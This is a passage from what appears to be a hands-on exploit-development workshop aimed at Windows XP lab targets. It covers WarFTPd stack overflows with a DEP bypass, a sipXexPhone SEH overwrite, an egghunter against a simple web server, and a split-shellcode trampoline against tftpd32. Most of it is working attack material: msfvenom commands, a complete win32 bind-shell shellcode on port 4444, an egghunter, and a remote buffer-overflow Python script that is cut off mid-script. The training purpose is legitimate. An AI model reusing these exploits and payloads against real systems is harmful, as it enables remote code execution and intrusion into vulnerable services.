7815shellcode = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
7816
7817 -----------------------------------------------------------------------
7818
7819
7820 ---------------------------Type This-----------------------------------
7821
7822./msfvenom -p windows/shell/bind_tcp -f python -b '\x00\x0a\x0d\x40'
7823
7824 -----------------------------------------------------------------------
7825
7826
7827
7828
7829###########################################
7830# Lab 1b: Stack Overflows with DEP Bypass #
7831###########################################
7832
7833Reboot your target host and choose the "2nd" option for DEP.
7834
7835 ---------------------------Type This-----------------------------------
7836
7837cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1b
7838
7839
7840
7841
7842python warftpd1.py | nc XPSP3-ED-Target-IP 21
7843
7844 At WINDBG prompt
7845 “r” to show registers or “alt+4”
7846
7847 dd esp
7848
7849 -----------------------------------------------------------------------
7850
7851 ---------------------------Type This-----------------------------------
7852
7853python warftpd2.py | nc XPSP3-ED-Target-IP 21
7854
7855
7856 At WINDBG prompt
7857 “r” to show registers or “alt+4”
7858 dd esp
7859 -----------------------------------------------------------------------
7860
7861 Eip: 32714131
7862 esp: affd58 (71413471)
7863
7864 Now we need to SSH into the StrategicSec Ubuntu host
7865 ---------------------------Type This-----------------------------------
7866
7867 cd /home/strategicsec/toolz/metasploit/tools/exploit
7868
7869 ruby pattern_offset.rb 32714131
7870 485
7871
7872 ruby pattern_offset.rb 71413471
7873 493
7874
7875
7876
7877
7878
7879
7880
7881
7882cd /home/strategicsec/toolz/metasploit/tools/exploit
7883
7884ruby pattern_offset.rb 32714131
7885
7886cd /home/strategicsec/toolz/metasploit/
7887
7888./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
7889
7890
7891
7892python warftpd3.py | nc XPSP3-ED-Target-IP 21
7893
7894 0:003> dd eip
7895 0:003> dd esp
7896-----------------------------------------------------------------------
7897
7898INT3s - GOOD!!!!!!!
7899
7900---------------------------Type This-----------------------------------
7901
7902
7903python warftpd4.py | nc XPSP3-ED-Target-IP 21
7904
7905nc XPSP3-ED-Target-IP 4444
7906-----------------------------------------------------------------------
7907
7908
7909strategicsec....exploit no workie!!!!
7910
7911
7912Why????????? DEP!!!!!!!!!!!!!
7913
7914
7915
7916
7917Let's look through ole32.dll for the following instructions:
7918
7919mov al,0x1
7920ret 0x4
7921
7922We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
7923
7924
7925---------------------------Type This-----------------------------------
7926
7927./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
7928-----------------------------------------------------------------------
7929
7930[DLLs/xpsp3/ole32.dll]
79310x775ee00e b001c204
79320x775ee00e mov al, 1
79330x775ee010 ret 4
7934
7935
7936Then we need to jump to the LdrpCheckNXCompatibility routine in
7937ntdll.dll that disables DEP.
7938
7939
7940
7941Inside of ntdll.dll we need to find the following instructions:
7942
7943CMP AL,1
7944PUSH 2
7945POP ESI
7946JE ntdll.7
7947
7948---------------------------Type This-----------------------------------
7949
7950
7951./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
7952-----------------------------------------------------------------------
7953
7954[DLLs/xpsp3/ntdll.dll]
79550x7c91cd24 3c016a025e0f84
79560x7c91cd24 cmp al, 1
79570x7c91cd26 push 2
79580x7c91cd28 pop esi
79590x7c91cd29 jz 7
7960
7961
7962This set of instructions makes sure that AL is set to 1, 2 is pushed
7963on the stack then popped into ESI.
7964
7965
7966
7967---------------------------Paste This-----------------------------------
7968
7969
7970dep = "\x0e\xe0\x5e\x77"+\
7971"\xff\xff\xff\xff"+\
7972"\x24\xcd\x91\x7c"+\
7973"\xff\xff\xff\xff"+\
7974"A"*0x54
7975
7976-----------------------------------------------------------------------
7977
7978
7979 #############################
7980 # Start WarFTPd #
7981 # Start WinDBG #
7982 # Press F6 #
7983 # Attach to war-ftpd.exe #
7984 # bp 0x775ee00e #
7985 # g #
7986 #############################
7987
7988
7989---------------------------Type This-----------------------------------
7990
7991
7992python warftpd5.py | nc XPSP3-ED-Target-IP 21
7993
7994-----------------------------------------------------------------------
7995We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
7996
7997 mov al,0x1
7998 ret 0x4
7999
8000
8001
8002
80030:005> g
8004Breakpoint 0 hit
8005eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
8006eip=775ee00e esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
8007cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
8008ole32!CSSMappedStream::IsWriteable:
8009775ee00e b001 mov al,1
8010
8011
80120:001> t
8013eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
8014eip=775ee010 esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
8015cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
8016ole32!CSSMappedStream::IsWriteable+0x2:
8017775ee010 c20400 ret 4
8018
8019
8020
8021
8022
8023---------------------------------------------------------------------------
8024Ok, so inside of ntdll.dll we need to find the following instructions:
8025
8026 CMP AL,1
8027 PUSH 2
8028 POP ESI
8029 JE ntdll.7
8030
80310:001> t
8032eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
8033eip=7c91cd24 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
8034cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
8035ntdll!LdrpCheckNXCompatibility+0x13:
80367c91cd24 3c01 cmp al,1
8037
8038
80390:001> t
8040eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
8041eip=7c91cd26 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
8042cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
8043ntdll!LdrpCheckNXCompatibility+0x15:
80447c91cd26 6a02 push 2
8045
8046
80470:001> t
8048eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
8049eip=7c91cd28 esp=00affd5c ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
8050cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
8051ntdll!LdrpCheckNXCompatibility+0x17:
80527c91cd28 5e pop esi
8053
8054
80550:001> t
8056eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=00000002 edi=00affe58
8057eip=7c91cd29 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
8058cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
8059ntdll!LdrpCheckNXCompatibility+0x18:
80607c91cd29 0f84df290200 je ntdll!LdrpCheckNXCompatibility+0x1a (7c93f70e) [br=1]
8061
8062
8063---------------------------------------------------------------------------
8064
8065
8066 ---------------------------Type This-----------------------------------
8067
8068python warftpd5.py | nc XPSP3-ED-Target-IP 21
8069
8070nc XPSP3-ED-Target-IP 4444
8071
8072 -----------------------------------------------------------------------
8073
8074##########################
8075# Lab 1c: SEH Overwrites #
8076##########################
8077
8078 #################################################
8079 # On our VictimXP Host (XPSP3-ED-Target-IP) #
8080 # Start sipXexPhone if it isn’t already running #
8081 # Start WinDBG #
8082 # Press “F6” and Attach to sipXexPhone.exe #
8083 # Press “F5” to start the debugger #
8084 #################################################
8085
8086 ---------------------------Type This-----------------------------------
8087
8088cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1c\sipx_complete
8089
8090
8091
8092python sipex0.py XPSP3-ED-Target-IP
8093
8094 0:003> !exchain
8095 0:003> dds esp
8096 0:003> dds
8097
8098python sipex1.py XPSP3-ED-Target-IP
8099
8100 0:003> !exchain
8101 0:003> g
8102
8103 When looking at !exchain you should see that EIP is 41414141, so let’s add more characters.
8104
8105
8106python sipex2.py XPSP3-ED-Target-IP
8107
8108 0:003> !exchain
8109 0:003> g
8110
8111
8112 ***ssh into instructor Ubuntu host***
8113 cd /home/strategicsec/toolz/metasploit/tools/exploit
8114 ruby pattern_offset.rb 41346941 We should see that SEH is at 252
8115
8116
8117
8118 !load narly
8119 !nmod
8120
8121 ***ssh into the Ubuntu host***
8122 ls /home/strategicsec/toolz/metasploit/DLLs/xpsp3/sipXDLLs/
8123 cd /home/strategicsec/toolz/metasploit/
8124 ./msfpescan -p DLLs/xpsp3/sipXDLLs/sipxtapi.dll
8125
8126 -----------------------------------------------------------------------
8127
8128 #####################################
8129 # sipex3.py in Notepad++. #
8130 # Set cseq = 252 #
8131 # Set seh2 address to: 0x10015977 #
8132 #####################################
8133
8134---------------------------Type This-----------------------------------
8135
8136python sipex3.py XPSP3-ED-Target-IP
8137 0:003> !exchain
8138
8139python sipex4.py XPSP3-ED-Target-IP
8140
8141
8142
8143nc XPSP3-ED-Target-IP 4444
8144
8145 -----------------------------------------------------------------------
8146
8147
8148
8149
8150Brush up on the basics of Structured Exception Handlers:
8151http://www.securitytube.net/video/1406
8152http://www.securitytube.net/video/1407
8153http://www.securitytube.net/video/1408
8154
8155
8156
8157
8158
8159
8160########################################
8161# Lab 2a: Not Enough Space (Egghunter) #
8162########################################
8163
8164---------------------------Type This-----------------------------------
8165
8166cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\sws_skeleton
8167-----------------------------------------------------------------------
8168
8169SWS - SIMPLE WEB SERVER
8170-----------------------
8171
8172Running SWS on Strategicsec-XP-ED-Target-VM
8173Start > Programs > Simple Web Server (it's in the middle somewhere)
8174Red icon in system tray
8175Double click it
8176- it will pop up a menu
8177- select "start"
8178- dialog box shows starting params - port 82
8179
8180WinDBG
8181- attach to "server.exe"
8182
8183---------------------------Type This-----------------------------------
8184
8185python sws1.py | nc XPSP3-ED-Target-IP 82
8186
8187
8188
8189python sws2.py | nc XPSP3-ED-Target-IP 82
8190
8191
8192SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
8193cd /home/strategicsec/toolz/metasploit/tools/exploit
8194ruby pattern_offset.rb 41356841 <------- You should see that EIP is at 225
8195ruby pattern_offset.rb 68413668 <------- You should see that ESP is at 229
8196
8197
8198-----------------------------------------------------------------------
8199
8200
8201
8202
8203
8204
8205EGGHUNTER:
8206----------
8207
8208"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
8209"\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
8210 ^^^^^^^^^^^^^^^^
8211 ABBA
8212 JMP ESP
8213 /
8214 /
8215GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
8216User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)
8217
8218
8219
8220
8221-----sws3.py-----
8222#!/usr/bin/python2
8223
8224import os # for output setting
8225import sys
8226import struct # for pack function
8227
8228# turn off output buffer and set binary mode
8229sys.stdout = os.fdopen(sys.stdout.fileno(), 'wb', 0)
8230
8231
8232pad = "A" * 225 # distance to EIP
8233eip = 0x7e429353 # replace EIP to point to "jmp esp" from user32.dll
8234
8235egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
8236egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
8237
8238shellcode = "\xCC" * 700
8239
8240buf = "GET /"
8241buf += pad + struct.pack('<I', eip) + egghunter
8242buf += " HTTP/1.0\r\n"
8243buf += "User-Agent: ABBAABBA"
8244buf += shellcode
8245buf += " HTTP/1.0\r\n"
8246
8247sys.stdout.write(buf)
8248-----
8249
8250
8251
8252
8253############################################
8254# Lab 2b: Not Enough Space (Negative Jump) #
8255############################################
8256---------------------------Type This-----------------------------------
8257
8258cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\modjk_skeleton
8259-----------------------------------------------------------------------
8260
8261
8262[pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]
8263
8264 ^
82651 ----------------------1 overflow the buffer---------------------------|
8266
8267 ^ ^
8268 |
8269 2 ----jump over seh record---|
8270
8271 ^ ^
8272 |
8273 3--POP 2 words off stack---|
8274
8275 ^
82764 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|
8277
8278
8279#########################################
8280# Lab 2c: Not Enough Space (Trampoline) #
8281#########################################
8282
8283cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
8284On the Strategicsec-XP-ED-Target-VM VM
8285
8286- open a command prompt
8287- c:\software\tftpd32
8288- run tftpd32.exe
8289- UDP port 69
8290(socket code is already in the scripts)
8291
8292
8293
8294
8295On your attack host please install:
8296
8297
8298 NASM - Netwide Assembler
8299
8300
8301
8302
8303
8304-----------------------------------------------------------------------------------------------------------------
8305
8306
8307We want to generate the shellcode (BIND SHELL on Port 4444)
8308- No restricted characters
8309- Encoder: NONE
8310
8311Create a Python file called dumpshellcode.py
8312
8313---
8314#!/usr/bin/python2
8315
8316import os
8317import sys
8318import struct
8319
8320
8321# win32_bind - EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
8322shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
8323shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
8324shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
8325shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
8326shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
8327shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
8328shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
8329shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
8330shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
8331shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
8332shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
8333shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
8334shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
8335shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
8336shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
8337shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
8338shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
8339shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
8340shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
8341shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
8342
8343sys.stdout.write(shellcode)
8344---
8345
8346---------------------------Type This-----------------------------------
8347
8348
8349python dumpshell.py > bindshell.bin
8350
8351copy bindshellcode.bin into the "c:\Program Files\nasm" directory
8352-----------------------------------------------------------------------
8353
8354
8355
8356Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
8357317 bindshell.bin
8358---------------------------Type This-----------------------------------
8359
8360C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
8361-----------------------------------------------------------------------
8362
836300000000 FC cld
836400000001 6AEB push byte -0x15
836500000003 4D dec ebp
836600000004 E8F9FFFFFF call dword 0x2
836700000009 60 pushad
83680000000A 8B6C2424 mov ebp,[esp+0x24]
83690000000E 8B453C mov eax,[ebp+0x3c]
837000000011 8B7C0578 mov edi,[ebp+eax+0x78]
837100000015 01EF add edi,ebp
837200000017 8B4F18 mov ecx,[edi+0x18]
83730000001A 8B5F20 mov ebx,[edi+0x20]
83740000001D 01EB add ebx,ebp
83750000001F 49 dec ecx
837600000020 8B348B mov esi,[ebx+ecx*4]
837700000023 01EE add esi,ebp
837800000025 31C0 xor eax,eax
837900000027 99 cdq
838000000028 AC lodsb
838100000029 84C0 test al,al
83820000002B 7407 jz 0x34
83830000002D C1CA0D ror edx,0xd
838400000030 01C2 add edx,eax
838500000032 EBF4 jmp short 0x28
838600000034 3B542428 cmp edx,[esp+0x28]
838700000038 75E5 jnz 0x1f
83880000003A 8B5F24 mov ebx,[edi+0x24]
83890000003D 01EB add ebx,ebp
83900000003F 668B0C4B mov cx,[ebx+ecx*2]
839100000043 8B5F1C mov ebx,[edi+0x1c]
839200000046 01EB add ebx,ebp
839300000048 032C8B add ebp,[ebx+ecx*4]
83940000004B 896C241C mov [esp+0x1c],ebp
83950000004F 61 popad
839600000050 C3 ret
839700000051 31DB xor ebx,ebx
839800000053 648B4330 mov eax,[fs:ebx+0x30]
839900000057 8B400C mov eax,[eax+0xc]
84000000005A 8B701C mov esi,[eax+0x1c]
84010000005D AD lodsd
84020000005E 8B4008 mov eax,[eax+0x8]
840300000061 5E pop esi
840400000062 688E4E0EEC push dword 0xec0e4e8e
840500000067 50 push eax
840600000068 FFD6 call esi
84070000006A 6653 push bx
84080000006C 66683332 push word 0x3233
840900000070 687773325F push dword 0x5f327377
841000000075 54 push esp
841100000076 FFD0 call eax
841200000078 68CBEDFC3B push dword 0x3bfcedcb
84130000007D 50 push eax
84140000007E FFD6 call esi PART 1
841500000080 5F pop edi
841600000081 89E5 mov ebp,esp
841700000083 6681ED0802 sub bp,0x208
841800000088 55 push ebp
841900000089 6A02 push byte +0x2
84200000008B FFD0 call eax
84210000008D 68D909F5AD push dword 0xadf509d9
842200000092 57 push edi
842300000093 FFD6 call esi
842400000095 53 push ebx
842500000096 53 push ebx
8426--------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
842700000097 53 push ebx
842800000098 53 push ebx
842900000099 53 push ebx
84300000009A 43 inc ebx
84310000009B 53 push ebx
84320000009C 43 inc ebx
84330000009D 53 push ebx PART 2
84340000009E FFD0 call eax
8435000000A0 6668115C push word 0x5c11
8436000000A4 6653 push bx
8437000000A6 89E1 mov ecx,esp
8438000000A8 95 xchg eax,ebp
8439000000A9 68A41A70C7 push dword 0xc7701aa4
8440000000AE 57 push edi
8441000000AF FFD6 call esi
8442000000B1 6A10 push byte +0x10
8443000000B3 51 push ecx
8444000000B4 55 push ebp
8445000000B5 FFD0 call eax
8446000000B7 68A4AD2EE9 push dword 0xe92eada4
8447000000BC 57 push edi
8448000000BD FFD6 call esi
8449000000BF 53 push ebx
8450000000C0 55 push ebp
8451000000C1 FFD0 call eax
8452000000C3 68E5498649 push dword 0x498649e5
8453000000C8 57 push edi
8454000000C9 FFD6 call esi
8455000000CB 50 push eax
8456000000CC 54 push esp
8457000000CD 54 push esp
8458000000CE 55 push ebp
8459000000CF FFD0 call eax
8460000000D1 93 xchg eax,ebx
8461000000D2 68E779C679 push dword 0x79c679e7
8462000000D7 57 push edi
8463000000D8 FFD6 call esi
8464000000DA 55 push ebp
8465000000DB FFD0 call eax
8466000000DD 666A64 push word 0x64
8467000000E0 6668636D push word 0x6d63
8468000000E4 89E5 mov ebp,esp
8469000000E6 6A50 push byte +0x50
8470000000E8 59 pop ecx
8471000000E9 29CC sub esp,ecx
8472000000EB 89E7 mov edi,esp
8473000000ED 6A44 push byte +0x44
8474000000EF 89E2 mov edx,esp
8475000000F1 31C0 xor eax,eax
8476000000F3 F3AA rep stosb
8477000000F5 FE422D inc byte [edx+0x2d]
8478000000F8 FE422C inc byte [edx+0x2c]
8479000000FB 93 xchg eax,ebx
8480000000FC 8D7A38 lea edi,[edx+0x38]
8481000000FF AB stosd
848200000100 AB stosd
848300000101 AB stosd
848400000102 6872FEB316 push dword 0x16b3fe72
848500000107 FF7544 push dword [ebp+0x44]
84860000010A FFD6 call esi
84870000010C 5B pop ebx
84880000010D 57 push edi
84890000010E 52 push edx
84900000010F 51 push ecx
849100000110 51 push ecx
849200000111 51 push ecx
849300000112 6A01 push byte +0x1
849400000114 51 push ecx
849500000115 51 push ecx
849600000116 55 push ebp
849700000117 51 push ecx
849800000118 FFD0 call eax
84990000011A 68ADD905CE push dword 0xce05d9ad
85000000011F 53 push ebx
850100000120 FFD6 call esi
850200000122 6AFF push byte -0x1
850300000124 FF37 push dword [edi]
850400000126 FFD0 call eax
850500000128 8B57FC mov edx,[edi-0x4]
85060000012B 83C464 add esp,byte +0x64
85070000012E FFD6 call esi
850800000130 52 push edx
850900000131 FFD0 call eax
851000000133 68F08A045F push dword 0x5f048af0
851100000138 53 push ebx
851200000139 FFD6 call esi
85130000013B FFD0 call eax
8514
8515
8516
8517
8518part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
8519part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
8520part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
8521part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
8522part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
8523part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
8524part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
8525part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
8526part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
8527part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
8528
8529
8530part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
8531part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
8532part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
8533part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
8534part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
8535part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
8536part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
8537part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
8538part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
8539part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
8540part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
8541
8542
8543STACK SHIFTER:
8544prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
8545prepend += "\x44" # inc esp
8546
8547
8548
8549
8550
8551
8552
8553
8554
8555
8556
8557
8558
8559
8560---- final script ----
8561
8562#!/usr/bin/python2
8563#TFTP Server remote Buffer Overflow
8564
8565import sys
8566import socket
8567import struct
8568
8569if len(sys.argv) < 2:
8570 sys.stderr.write("Usage: tftpd.py <host>\n")
8571 sys.exit(1)
8572
8573target = sys.argv[1]
8574port = 69
8575
8576eip = 0x7e429353 # jmp esp in USER32.DLL
8577
8578part1 += "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
8579part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
8580part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
8581part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
8582part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
8583part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
8584part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
8585part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
8586part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
8587part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
8588
8589part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
8590part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
8591part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
8592part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
8593part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
8594part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
8595part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
8596part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
8597part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
8598part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
8599part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
8600
8601prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
8602prepend += "\x44" # inc esp
8603
8604buf = "\x00\x01" # receive command
8605
8606buf += "\x90" * (256 - len(part2)) # NOPs
8607buf += part2 # shellcode part 2
8608buf += struct.pack('<I', eip) # EIP (JMP ESP)
8609buf += prepend # stack shifter
8610buf += part1 # shellcode part 1
8611buf += "\xE9" + struct.pack('<i', -380) # JMP -380
8612buf += "\x00" # END
8613
8614# print buf
8615
8616# buf = "\x00\x01" # receive command
8617
8618# buf += "A" * 300 + "\x00"
8619
8620sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
8621
8622try:
8623 sock.connect((target, port))
8624 sock.sendall(buf)
